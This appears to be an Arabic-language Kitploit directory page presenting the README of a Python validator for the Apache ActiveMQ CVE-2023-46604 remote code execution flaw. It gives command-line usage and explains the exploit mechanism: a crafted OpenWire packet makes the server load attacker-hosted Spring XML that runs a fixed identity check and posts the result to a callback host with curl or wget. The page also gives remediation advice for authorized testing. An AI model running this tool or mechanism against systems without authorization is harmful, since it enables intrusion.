Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ActiveMQ-CVE-2023-46604 — أداة تحقق غير تخريبية لثغرة Apache ActiveMQ CVE-2023-46604. ترسل حزم OpenWire مُصمّمة خصيصًا، وتستخدم خادم استدعاء HTTP لتأكيد تنفيذ التعليمات البرمجية عن بُعد (RCE) أو تحميل XML، وتُنشئ أدلة بصيغة CSV/JSON لاختبارات الاختراق المصرح بها. | Kitploit
أدوات/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

أداة تحقق غير تخريبية لثغرة Apache ActiveMQ CVE-2023-46604. ترسل حزم OpenWire مُصمّمة خصيصًا، وتستخدم خادم استدعاء HTTP لتأكيد تنفيذ التعليمات البرمجية عن بُعد (RCE) أو تحميل XML، وتُنشئ أدلة بصيغة CSV/JSON لاختبارات الاختراق المصرح بها.

عرض المستودع
1منذ 12س 53دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2023-46604 ActiveMQ Safe Validator

أداة تحقق غير مدمرة في ملف واحد لثغرة Apache ActiveMQ CVE-2023-46604. تبدأ خادم HTTP خاصًا للاستدعاءات، وتولّد XML خاصًا بالهدف في الذاكرة، وترسل حزمة OpenWire المصمّمة، وتربط الاستدعاءات برموز مميزة فريدة، وتكتب أدلة بصيغة CSV/JSON.

صُمم المشروع لاختبارات الاختراق المصرّح بها والتحقق من الأساطيل. وهو يتعمّد عدم تنفيذ قذائف عكسية، أو تنفيذ أوامر غير مقيدة، أو توسيع CIDR، أو استمرارية، أو تجهيز حمولات.

ما الذي يثبته أداة التحقق

يتوفر وضعان ثابتان للإثبات:

  • rce ينفّذ فحص هوية ثابتًا للقراءة فقط ويعيد مخرجه إلى خادم HTTP المدمج. يؤكد الاستدعاء تنفيذ أوامر نظام التشغيل في سياق خدمة ActiveMQ.
  • xml يقدّم سياق Spring فارغًا. يؤكد الجلب أن رسالة OpenWire المصمّمة دفعت الهدف إلى إنشاء ClassPathXmlApplicationContext واسترجاع XML يتحكم به المهاجم، دون تشغيل عملية.

لا حاجة لإنشاء أو استضافة ملفات XML بشكل منفصل.

الميزات

  • ملف Python واحد؛ المكتبة القياسية فقط
  • خادم HTTP مدمج متعدد الخيوط
  • رموز XML واستدعاءات ديناميكية خاصة بكل هدف
  • إدخال صريح لهدف واحد أو أهداف متعددة
  • تزامن محدود وإعادة محاولات إرسال
  • دعم OpenWire العادي وOpenWire المغلف بـ TLS
  • فحوصات هوية ثابتة لأنظمة Linux وWindows
  • أدلة CSV افتراضيًا، وJSON اختياريًا
  • حالات نتائج دقيقة تتجنب ادعاءات "غير معرّض" الخاطئة
  • رمز خروج مناسب للـ CI عبر --fail-on-vuln
  • المتطلبات

    • Python 3.9 أو أحدث
    • وصول شبكي من مضيف الاختبار إلى مستمع OpenWire الخاص بالهدف
    • وصول شبكي من الهدف عائدًا إلى عنوان استدعاء HTTP المدمج
    • تفويض صريح لكل هدف

    منفذ OpenWire الافتراضي هو 61616، لكن المنافذ غير الافتراضية مدعومة.

    بدء سريع

    استخدم عناوين للتوثيق فقط في الأمثلة؛ استبدلها بأصولك المصرّح بها.

    هدف Linux واحد

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616 \
      --callback-host 192.0.2.50
    

    يبدأ السكربت خادم الاستدعاءات تلقائيًا على TCP/8000، ويقدّم XML المولّد، ويرسل حزمة OpenWire، وينتظر الأدلة، ويطبع جدول النتائج، ويكتب:

    root@kitploit:~
    activemq-cve-2023-46604-results.csv
    

    أهداف متعددة صريحة

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target mq01.example.test:61616 \
      --target mq02.example.test:61616 \
      --target tcp://192.0.2.23:61500 \
      --callback-host 192.0.2.50 \
      --workers 4 \
      --json-output results.json
    

    ملف الأهداف

    أنشئ targets.txt:

    root@kitploit:~
    # مضيف واحد مصرّح به في كل سطر
    mq01.example.test:61616
    192.0.2.21:61616
    tcp://192.0.2.22:61500
    ssl://mq-secure.example.test:61617
    

    شغّل:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --http-port 8000 \
      --platform linux \
      --proof rce \
      --workers 8 \
      --wait 15 \
      --output findings.csv \
      --json-output findings.json
    

    قد تحتوي ملفات الأهداف على أسطر فارغة وتعليقات تبدأ بـ #. توسيع CIDR غير مدعوم عمدًا؛ اذكر الجرد المصرّح به صراحةً.

    اكتشاف عنوان الاستدعاء تلقائيًا

    للشبكات الموجهة البسيطة، احذف --callback-host:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.10:61616
    

    تختار الأداة عنوان المصدر المحلي المستخدم للتوجيه نحو الهدف الأول. حدد --callback-host عند الاختبار عبر NAT أو VPN أو الحاويات أو مضيفات القفز أو الأنظمة متعددة الواجهات.

    ActiveMQ المستضاف على Windows

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target 192.0.2.30:61616 \
      --callback-host 192.0.2.50 \
      --platform windows \
      --proof rce
    

    يستخدم فحص Windows أمر PowerShell ثابتًا غير تفاعلي لإرجاع هوية الخدمة واسم الكمبيوتر وإصدار نظام التشغيل. لا يوفر قذيفة تفاعلية.

    تحقق تحميل XML فقط

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --proof xml
    

    لا يقوم هذا الوضع بإنشاء ProcessBuilder.

    OpenWire المغلف بـ TLS

    استخدم هدفًا بصيغة ssl://:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50
    

    لمستمع داخلي بشهادة غير موثوقة:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --target ssl://mq-secure.example.test:61617 \
      --callback-host 192.0.2.50 \
      --tls-no-verify
    

    يؤثر --tls-no-verify فقط على اتصال OpenWire عبر TLS. خادم الاستدعاءات هو HTTP.

    حالات النتائج

    الحالةالمعنى
    CONFIRMED_VULNERABLE_RCEجلب الهدف ملف XML الخاص به وأعاد أمر الهوية الثابت دليلًا.
    CONFIRMED_VULNERABLE_XML_LOADفي وضع xml، جلب الهدف مستند XML الفريد.
    VULNERABLE_XML_LOAD_ONLYفي وضع rce، حدث استرجاع XML لكن استدعاء الأمر لم يحدث. مسار إنشاء الفئة المعرّض مؤكد؛ قد تكون أدوات الاستدعاء أو الإخراج أو تنفيذ العمليات مقيدة.
    NOT_CONFIRMEDأُرسلت الحزمة، لكن لم تصل أي أدلة HTTP مرتبطة قبل الموعد النهائي. هذا ليس دليلًا على أن المضيف مُصحّح.
    UNREACHABLEفشل اتصال TCP/TLS أو إرسال الحزمة.

    يمكن أن تؤثر وسيط مُصحّح أو منفذ خاطئ أو تصفية الإخراج أو مشاكل التوجيه أو عدم تطابق TLS أو ضوابط نقطة النهاية على التحقق القائم على الاستدعاءات. احتفظ بطوابع CSV/JSON الزمنية ومخرجات الاستدعاء كأدلة للتقرير.

    دليل الهوية الثابت

    يعيد فحص هوية Linux مخرجًا مشابهًا لما يلي:

    root@kitploit:~
    CVE-2023-46604 RCE CONFIRMED
    uid=997(activemq) gid=997(activemq) groups=997(activemq)
    user=activemq
    host=mq01
    os=Linux 5.15.0-...
    

    يحاول استخدام curl وwget وBusyBox wget لإرسال HTTP POST. إذا تم جلب XML لكن لم يتوفر أي من هذه العملاء، تكون النتيجة VULNERABLE_XML_LOAD_ONLY بدلًا من نتيجة سلبية خاطئة.

    رموز الخروج

    • 0: اكتمل التحقق، أو وُجدت ثغرات دون --fail-on-vuln
    • 2: وُجدت نتيجة معرّضة واحدة على الأقل وتم توفير --fail-on-vuln
    • أخطاء argparse تستخدم رمز خطأ سطر الأوامر غير الصفري المعتاد

    مثال على استخدام CI:

    root@kitploit:~
    python3 activemq_validator.py \
      --authorized \
      --targets-file targets.txt \
      --callback-host 192.0.2.50 \
      --fail-on-vuln
    

    كيف يعمل

    تؤثر CVE-2023-46604 على فك ترميز OpenWire في Java. ترسل أداة التحقق استجابة ExceptionResponse من OpenWire بترميز مرن تكون فئة الاستثناء فيها:

    root@kitploit:~
    org.springframework.context.support.ClassPathXmlApplicationContext
    

    رسالة الاستثناء هي عنوان URL الفريد لملف Spring XML المولّد. يقوم كود ActiveMQ المعرّض بإنشاء الفئة المختارة من قبل المهاجم مع ذلك العنوان. في وضع rce، يبدأ سياق Spring فحص ProcessBuilder ثابتًا؛ في وضع xml، يكون السياق فارغًا.

    يحصل كل هدف على رمز مميز مختلف، على سبيل المثال:

    root@kitploit:~
    http://192.0.2.50:8000/poc/<unique-token>.xml
    http://192.0.2.50:8000/cb/<same-token>
    

    يتيح ذلك نسب الاستدعاءات المتزامنة إلى الهدف الصحيح.

    مرجع الأوامر

    root@kitploit:~
    --authorized                 إقرار التفويض المطلوب
    -t, --target VALUE           هدف صريح؛ قابل للتكرار
    -T, --targets-file FILE      هدف صريح واحد لكل سطر؛ قابل للتكرار
    --default-port PORT          الافتراضي 61616
    --tls                        استخدام TLS لجميع الأهداف
    --tls-no-verify              تعطيل التحقق من شهادة OpenWire TLS
    --callback-host HOST         العنوان الذي تستخدمه الأهداف لاستدعاءات HTTP
    --bind-host HOST             عنوان ربط HTTP المحلي؛ الافتراضي 0.0.0.0
    --http-port PORT             منفذ HTTP المحلي؛ الافتراضي 8000؛ 0 يختار منفذًا حرًا
    --proof rce|xml              وضع الإثبات الثابت؛ الافتراضي rce
    --platform linux|windows     نظام تشغيل الهدف لوضع RCE؛ الافتراضي linux
    --workers N                  العمال المتوازيون؛ الحد الأقصى 32
    --connect-timeout SECONDS    مهلة TCP/TLS
    --wait SECONDS               نافذة جمع الاستدعاءات
    --retries N                  من محاولة إلى ثلاث محاولات إرسال حزمة
    --retry-delay SECONDS        التأخير بين المحاولات
    -o, --output FILE            وجهة أدلة CSV
    --json-output FILE           وجهة JSON اختيارية
    --verbose                    عرض سجلات طلبات HTTP
    --fail-on-vuln               الخروج برمز 2 عند العثور على نتيجة معرّضة
    

    الاختبار

    root@kitploit:~
    python3 -m unittest discover -s tests -v
    

    تتحقق الاختبارات من تحليل الأهداف ورفض CIDR وسلامة XML وبنية إطار OpenWire دون الاتصال بأي هدف.

    المعالجة

    قم بترقية ActiveMQ إلى إصدار مُصحّح ومدعوم حاليًا. حددت نشرة Apache الإصدارات المُصحّحة للفروع الحالية آنذاك على أنها ActiveMQ 5.15.16 و5.16.7 و5.17.6 و5.18.3 و6.0.0، وArtemis 2.31.2. كما يجب تقييد مستمعي OpenWire على العملاء الموثوقين ومراقبة استرجاع XML الخارجي غير المتوقع.

    السلامة والنطاق

    هذا المستودع مخصص للتحقق الدفاعي وتقييمات الأمان المصرّح بها. يتعمّد حذف:

    • حمولات القذائف العكسية
    • تنفيذ أوامر عشوائية عبر --command
    • تجهيز ملفات قابلة للتنفيذ أو سكربتات
    • الاستمرارية
    • هجمات المصادقة
    • توسيع CIDR/النطاقات

    فحص الهوية الثابت كافٍ لإظهار تنفيذ الأوامر عن بُعد وتأثير حساب الخدمة دون إنشاء وصول تفاعلي.

    المراجع

    • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
    • نشرة أمان Apache ActiveMQ: https://activemq.apache.org/components/classic/security
    • مصدر Apache ActiveMQ: https://github.com/apache/activemq
    • مختبر Vulhub: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

    الترخيص

    MIT. انظر LICENSE.

    تنزيل الأداة